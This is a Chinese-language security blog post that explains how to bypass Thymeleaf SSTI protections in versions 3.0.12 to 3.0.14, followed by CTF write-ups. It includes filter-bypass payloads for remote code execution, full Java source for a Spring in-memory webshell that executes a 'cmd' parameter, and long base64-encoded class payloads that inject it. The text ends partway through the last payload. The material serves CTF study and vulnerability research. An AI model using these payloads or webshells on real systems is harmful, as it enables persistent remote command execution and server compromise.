再来水一篇Thymeleaf的ssti,起因是看到师兄以前出的题目,里面有一点小坑,索引就把Thymeleaf稍微高版本一些的漏洞再记录一下

thymeleaf高版本利用

上一篇文章只说了3.0.11版本之前的利用,后几个版本的利用方式发生了变化,记录一下

thymeleaf和springboot对应的版本

SpringBoot     Thymeleaf
2.2.0.RELEASE 3.0.11
2.4.10 3.0.12
2.7.18 3.0.15
3.0.8 3.1.1
3.2.2 3.1.2

3.0.12版本利用

打一下原来的payload看看报错

http://localhost:8081/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

image-20241214152746494

可以看到他识别出了表达式并禁止了表达式执行,我们可以从调用堆栈看到他报错的地方,在SpringRequestUtils.checkViewNameNotInRequest函数里面,这是在ThymeleafView#renderFragment里面新增的处理方法,我们去看看,其源码如下

public static void checkViewNameNotInRequest(final String viewName, final HttpServletRequest request) {

final String vn = StringUtils.pack(viewName);

final String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));

boolean found = (requestURI != null && requestURI.contains(vn));
if (!found) {
final Enumeration<String> paramNames = request.getParameterNames();
String[] paramValues;
String paramValue;
while (!found && paramNames.hasMoreElements()) {
paramValues = request.getParameterValues(paramNames.nextElement());
for (int i = 0; !found && i < paramValues.length; i++) {
paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i]));
if (paramValue.contains(vn)) {
found = true;
}
}
}
}

if (found) {
throw new TemplateProcessingException(
"View name is an executable expression, and it is present in a literal manner in " +
"request path or parameters, which is forbidden for security reasons.");
}

}

我们调试看一下

image-20241214153327162

这里如果经过处理后的requestURI包含vn,就会在下面抛出异常

StringUtils.pack() 的作用是去掉字符串的空格和 ASCII 码在空格之前的特殊字符,并最后转为小写。然后就是先看 uri 中是否存在 viewName (这一步是为了检查 restful 风格的参数是否包含了 viewName ),然后遍历 url 中的参数( ?key=value 的部分 )是否包含了 viewName (这一步检查的是普通的参数),如果上述任意其一包含了 vn 就报错。正对应这个方法名,检查 viewName 是否在 request 对象中。

但是我们这里用的是传路径那个demo导致if判断都没进去就报错了

所以这种场景下的ssti就被防御住了

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}

但下面这种拼接的场景还是可以绕过的

@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

我们调试来看

image-20241214155011988

这里的路由就无法包含视图名了,所以我们可以进入到if判断里面

然后对我们的参数值进行处理,用UriEscape.unescapeUriQueryParam方法

image-20241214155518722

但经过处理之后依旧是不会包含vn的

image-20241214155957921

所以checkViewNameNotInRequest就已经绕过了,这种场景并不需要我们改payload,用原来的就可以了

http://localhost:8081/path?lang=__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()%7d__::.x

还有另一种拼接的场景

@GetMapping("/doc1/{data}")
public String demo4(@PathVariable String data) {
System.out.println(data);
return "clown/" + data;
}

这里的poc是这样的

http://localhost:8081/doc1/;/__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__::

这里的绕过原理和tomcat的url解析特性相关,目的是为了不能让视图的名字和 path 一致,相关原理这里就不分析了,看看网上的文章就好,绕过的方式除了上面的写法还有下面几种

/doc1//
/doc1;/
/doc1/;/

该特性也可以用在一些权限绕过上面

但其实上面的payload还是打不通,我们会遇到这样一个错误

image-20241214162453416

直接说我们template name不合法了,这是怎么回事呢

这是因为后面还有新增的 SpringStandardExpressionUtils类 的检查,调用containsSpELInstantiationOrStatic方法检查我们的表达式

image-20241214163751121

源码如下:

public static boolean containsSpELInstantiationOrStatic(final String expression) {

/*
* Checks whether the expression contains instantiation of objects ("new SomeClass") or makes use of
* static methods ("T(SomeClass)") as both are forbidden in certain contexts in restricted mode.
*/

final int explen = expression.length();
int n = explen;
int ni = 0; // index for computing position in the NEW_ARRAY
int si = -1;
char c;
while (n-- != 0) {

c = expression.charAt(n);

// When checking for the "new" keyword, we need to identify that it is not a part of a larger
// identifier, i.e. there is whitespace after it and no character that might be a part of an
// identifier before it.
if (ni < NEW_LEN
&& c == NEW_ARRAY[ni]
&& (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
ni++;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
return true; // we found an object instantiation
}
continue;
}

if (ni > 0) {
// We 'restart' the matching counter just in case we had a partial match
n += ni;
ni = 0;
if (si < n) {
// This has to be restarted too
si = -1;
}
continue;
}

ni = 0;

if (c == ')') {
si = n;
} else if (si > n && c == '('
&& ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
&& ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
return true;
} else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
si = -1;
}

}

return false;

}

其主要逻辑是首先倒序检测是否包含 wen关键字、在(的左边的字符是否是T,如包含,那么认为找到了一个实例化对象,返回true,阻止该表达式的执行。

因此要绕过这个函数,只要满足三点:

  1. 表达式中不能含有关键字new(因为wen倒叙过来就是new了)
  2. (的左边的字符不能是T
  3. 不能在T(中间添加的字符使得原表达式出现问题

这里在 T( 之间加上空格 %20 就可以绕过,其余还有很多字符都可以。例如换行符 %0a ,制表符 %09

new的绕过可以在new后面加个.也能解析来绕过,或者用前面文章说过的反射来绕过,或者大小写也能绕过

image-20241214170720029

3.0.14版本利用

该版本对对T()中间空字符进行绕过修复,原来的空格%20没法绕过了,可以用反射绕过

land=__${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')}__::

该版本还对checkViewNameNotInRequest()检测函数也进行了完善:
要求 URI 的值和其 get 参数在 StringUtils.pack() 之后不能出现 $*#@~ 紧跟 { 的情况。

image-20241214173543160

image-20241214173551685

绕过思路就是不使用${}或在${之间加点字符造成绕过,文章中使用||字符来绕过,原因是Thymeleaf3.0.15.RELEASE版本之前LiteralSubstitutionUtil()函数会置空||字符,具体看看师傅的文章就好了:https://cn-sec.com/archives/3118198.html

最后绕过payload加个||即可

lang=__$||{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator.app')}__::

其他版本

从Thymeleaf3.0.15版本开始到现在最新3.1.2.RELEASE版本,就是针对Html文件利用不停的添加黑名单了,这些就需要自己再去研究了

师傅的文章中提到最新版本ruoyi使用的Thymeleaf3.0.15也是可以打的,以后有机会看看(

[2022网鼎杯 玄武组]FindIT

因为没有环境就看网上wp梳理一下考点

该题目的考点如下:
1、thymeleaf SSTI 漏洞原理
2、thymeleaf SSTI漏洞修复绕过技巧
3、Spring内存马编写
4、Apache Tomcat 9 url 包含特殊字符,例如 /、[]处理与替代

这题打的是3.0.12的Thymeleaf,就用前面文章说过的内存马就可以直接打了,因为前面copy过来的时候已经是成品了,不过这里参照一下这篇文章看看是怎么构造出来的:https://xz.aliyun.com/t/11688?time__1311=Cq0xRQKQq7qmqGNDQiiQqPGI3oLfObQWa4D

先是注入内存马的exp

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;

import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerMapping = requestMappingHandlerMapping.getClass().getMethod("registerMapping", Object.class, Object.class, Method.class);
registerMapping.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/*");
RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition();
RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, methodsRequestCondition, null, null, null, null, null);
registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
msg = "inject-success";
} catch (Exception e) {
e.printStackTrace();
msg = "inject-error";
}
return msg;
}

public ResponseEntity executeCommand(@RequestParam(value = "cmd") String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}

然后就是需要加载字节码,这里用的是org.springframework.cglib.core.ReflectUtils#defineClass方法,只要传入 类名、类的字节码字节数组 和 类加载器就可以加载恶意类。

然后我们需要调用上面写的doInject方法来注入内存马,该方法的参数需要传入bean对象,可以用下面的方式来获取

T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"))

其等效于

WebApplicationContext context = (WebApplicationContext) org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"));

最终的payload如下:

T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("SpringRequestMappingMemshell.class的UrlSafebase64编码"),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))

这里用了decodeFromUrlSafeString方法处理,和Tomcat9对url的特殊字符处理有关,这是因为这题要打的形式是/doc/payload的形式,payload里面包含了/,tomcat会认为这是路径分割符号,导致404,如果编码为%2F就会报400错误

由于SpringRequestMappingMemshell 编译后的class 文件经过base64后里面可能会有/ 这个字符,因此要使用org.springframework.util.Base64Utils.encodeToUrlSafeString 先将SpringRequestMappingMemshell.class 处理成能够用在url 传输的base64编码。然后再使用org.springframework.util.Base64Utils.decodeFromUrlSafeString 进行解码操作。

转变代码

byte[] bytes= Files.readAllBytes(new File("SpringRequestMappingMemshell.class").toPath());
String safecode = Base64Utils.encodeToUrlSafeString(bytes);
System.out.println(safecode);

payload 中包含[ ] 特殊字符,需要URL编码一下-> %5B和%5D,或者payload里面的java.net.URL[0] 也可以用java.net.URL(“http”,”127.0.0.1”,”1.txt”)进行替代,这个随便写就行不影响。

最终的payload如下:

http://localhost:8081/doc/;/__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("yv66vgAAADQAkwoABgBOCABPCgAGAFAIADAHAFEHAFIHAFMKAAUAVAoABwBVBwBWCAAyBwBXCgAFAFgHAFkIAFoKAA4AWwcAXAcAXQoAEQBeBwBfCgAUAGAKAAoATgoABwBhCABiBwBjCgAZAGQIAGUHAGYKAGcAaAoAZwBpCgBqAGsKABwAbAgAbQoAHABuCgAcAG8HAHAJAHEAcgoAJABzAQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB5MU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbDsBAAhkb0luamVjdAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmc7AQAPcmVnaXN0ZXJNYXBwaW5nAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAGHBhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEASExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAF21ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uAQBOTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247AQAScmVxdWVzdE1hcHBpbmdJbmZvAQA_TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcBABJMamF2YS9sYW5nL09iamVjdDsBAANtc2cBABJMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBSBwBXBwBjAQAQTWV0aG9kUGFyYW1ldGVycwEAPShMamF2YS9sYW5nL1N0cmluZzspTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eTsBAANjbWQBAApleGVjUmVzdWx0AQAKRXhjZXB0aW9ucwcAdAEAIlJ1bnRpbWVWaXNpYmxlUGFyYW1ldGVyQW5ub3RhdGlvbnMBADZMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RQYXJhbTsBAAV2YWx1ZQEAClNvdXJjZUZpbGUBACFTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsLmphdmEMACcAKAEADGluamVjdC1zdGFydAwAdQB2AQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAwAdwB4DAB5AHoBABxTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsAQAQamF2YS9sYW5nL1N0cmluZwwAewB4AQBGb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAAi8qDAAnAHwBAExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2QMACcAfQEAPW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8MACcAfgwAfwCAAQAOaW5qZWN0LXN1Y2Nlc3MBABNqYXZhL2xhbmcvRXhjZXB0aW9uDACBACgBAAxpbmplY3QtZXJyb3IBABFqYXZhL3V0aWwvU2Nhbm5lcgcAggwAgwCEDACFAIYHAIcMAIgAiQwAJwCKAQACXEEMAIsAjAwAjQCOAQAnb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5BwCPDACQAJEMACcAkgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBABFnZXREZWNsYXJlZE1ldGhvZAEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBADsoW0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZDspVgEB9ihMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhcmFtc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9IZWFkZXJzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0NvbnN1bWVzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1Byb2R1Y2VzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RDb25kaXRpb247KVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAjb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXMBAAJPSwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czsBADooTGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOylWACEACgAGAAAAAAADAAEAJwAoAAEAKQAAAC8AAQABAAAABSq3AAGxAAAAAgAqAAAABgABAAAADAArAAAADAABAAAABQAsAC0AAAAJAC4ALwACACkAAAFZAAkABwAAAJQSAkwqtgADEgQGvQAFWQMSBlNZBBIGU1kFEgdTtgAITSwEtgAJEgoSCwS9AAVZAxIMU7YADU67AA5ZBL0ADFkDEg9TtwAQOgS7ABFZA70AErcAEzoFuwAUWRkEGQUBAQEBAbcAFToGLCoGvQAGWQMZBlNZBLsAClm3ABZTWQUtU7YAF1cSGEynAAtNLLYAGhIbTCuwAAEAAwCHAIoAGQADACoAAAA6AA4AAAAOAAMAEAAgABEAJQASADYAEwBIABQAVQAVAGcAFgCEABcAhwAbAIoAGACLABkAjwAaAJIAHAArAAAAUgAIACAAZwAwADEAAgA2AFEAMgAxAAMASAA_ADMANAAEAFUAMgA1ADYABQBnACAANwA4AAYAiwAHADkAOgACAAAAlAA7ADwAAAADAJEAPQA-AAEAPwAAABMAAv8AigACBwBABwBBAAEHAEIHAEMAAAAFAQA7AAAAAQAyAEQABAApAAAAaAAEAAMAAAAmuwAcWbgAHSu2AB62AB-3ACASIbYAIrYAI027ACRZLLIAJbcAJrAAAAACACoAAAAKAAIAAAAgABoAIQArAAAAIAADAAAAJgAsAC0AAAAAACYARQA-AAEAGgAMAEYAPgACAEcAAAAEAAEASABDAAAABQEARQAAAEkAAAAMAQABAEoAAQBLcwBFAAEATAAAAAIATQ=="),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::main.x

image-20241214230321805

image-20241214230307833

一题不出网的Thymeleaf

image-20241214230438476

这题给的也是一个3.0.12的Thymeleaf,是一个路径拼接导致的漏洞

一开始我想着这不是直接秒了吗,发现内存马打不进去,打过去直接400了

image-20241214230714610

原因出在内存马这里,这题目的springboot版本比前面本地测试的要高,是2.7.5的版本,我们换到该版本,看一下本地打是什么报错

image-20241214231157729

然后去搜了搜发现不同版本的spring内存马是有差别的,查漏补缺了一下,不过似乎只是对controller有影响,参考文章:http://www.bmth666.cn/2022/09/27/Spring%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/index.html

前面的内存马是适合<2.6.0版本的spring,2.6.0之后官方修改了url路径的默认匹配策略,需要重新构造内存马了,文章中的内存马形式

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = InjectToController2.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();
InjectToController2 springControllerMemShell = new InjectToController2("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

根据这个把前面的内存马魔改一下,改成下面这样即可

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringRequestMappingMemshellChange {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Class<?> requestMappingHandlerMappingClass = requestMappingHandlerMapping.getClass();
Field configField = requestMappingHandlerMappingClass.getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(requestMappingHandlerMapping);

Method registerMapping = requestMappingHandlerMapping.getClass().getMethod("registerMapping", Object.class, Object.class, Method.class);
registerMapping.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshellChange.class.getDeclaredMethod("executeCommand", String.class);
RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition();

RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();

registerMapping.invoke(requestMappingHandlerMapping, info, new SpringRequestMappingMemshellChange(), executeCommand);
msg = "inject-success";
} catch (Exception e) {
e.printStackTrace();
msg = "inject-error";
}
return msg;
}

public ResponseEntity executeCommand(@RequestParam(value = "cmd") String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}

最终payload如下:

/admin?language=__$%7BT%20(org.springframework.cglib.core.ReflectUtils).defineClass(%22SpringRequestMappingMemshellChange%22,T%20(org.springframework.util.Base64Utils).decodeFromUrlSafeString(%22yv66vgAAADQAsAoACwBaCABbCgALAFwIADgKAAoAXQoAXgBfCgBeAGAHAGIIADwHAGMHAGQHAGUKAAoAZgoADABfBwBnCAA-BwBoCgAKAGkHAGoHAGsKABMAbAgAbQoAYQBuCwBvAHALAG8AcQoADwBaCgAMAHIIAHMHAHQKAB0AdQgAdgcAdwoAeAB5CgB4AHoKAHsAfAoAIAB9CAB-CgAgAH8KACAAgAcAgQkAggCDCgAoAIQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJExTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsQ2hhbmdlOwEACGRvSW5qZWN0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsBACFyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAC2NvbmZpZ0ZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABmNvbmZpZwEAFEJ1aWxkZXJDb25maWd1cmF0aW9uAQAMSW5uZXJDbGFzc2VzAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb247AQAPcmVnaXN0ZXJNYXBwaW5nAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAF21ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uAQBOTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247AQAEaW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQASTGphdmEvbGFuZy9PYmplY3Q7AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQANU3RhY2tNYXBUYWJsZQcAZAcAaAcAdAEAEE1ldGhvZFBhcmFtZXRlcnMBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAIUBACJSdW50aW1lVmlzaWJsZVBhcmFtZXRlckFubm90YXRpb25zAQA2TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0UGFyYW07AQAFdmFsdWUBAApTb3VyY2VGaWxlAQAnU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbENoYW5nZS5qYXZhDAArACwBAAxpbmplY3Qtc3RhcnQMAIYAhwwAiACJBwCKDACLAIwMAI0AjgcAjwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb24BAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kDACQAJEBACJTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsQ2hhbmdlAQAQamF2YS9sYW5nL1N0cmluZwwAkgCRAQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDAArAJMBAAYvc2hlbGwMAJQAlgcAlwwAmACZDACaAJsMAJwAnQEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAngAsAQAMaW5qZWN0LWVycm9yAQARamF2YS91dGlsL1NjYW5uZXIHAJ8MAKAAoQwAogCjBwCkDAClAKYMACsApwEAAlxBDACoAKkMAKoAqwEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcArAwArQCuDAArAK8BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAPW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8BAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQARZ2V0RGVjbGFyZWRNZXRob2QBADsoW0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRp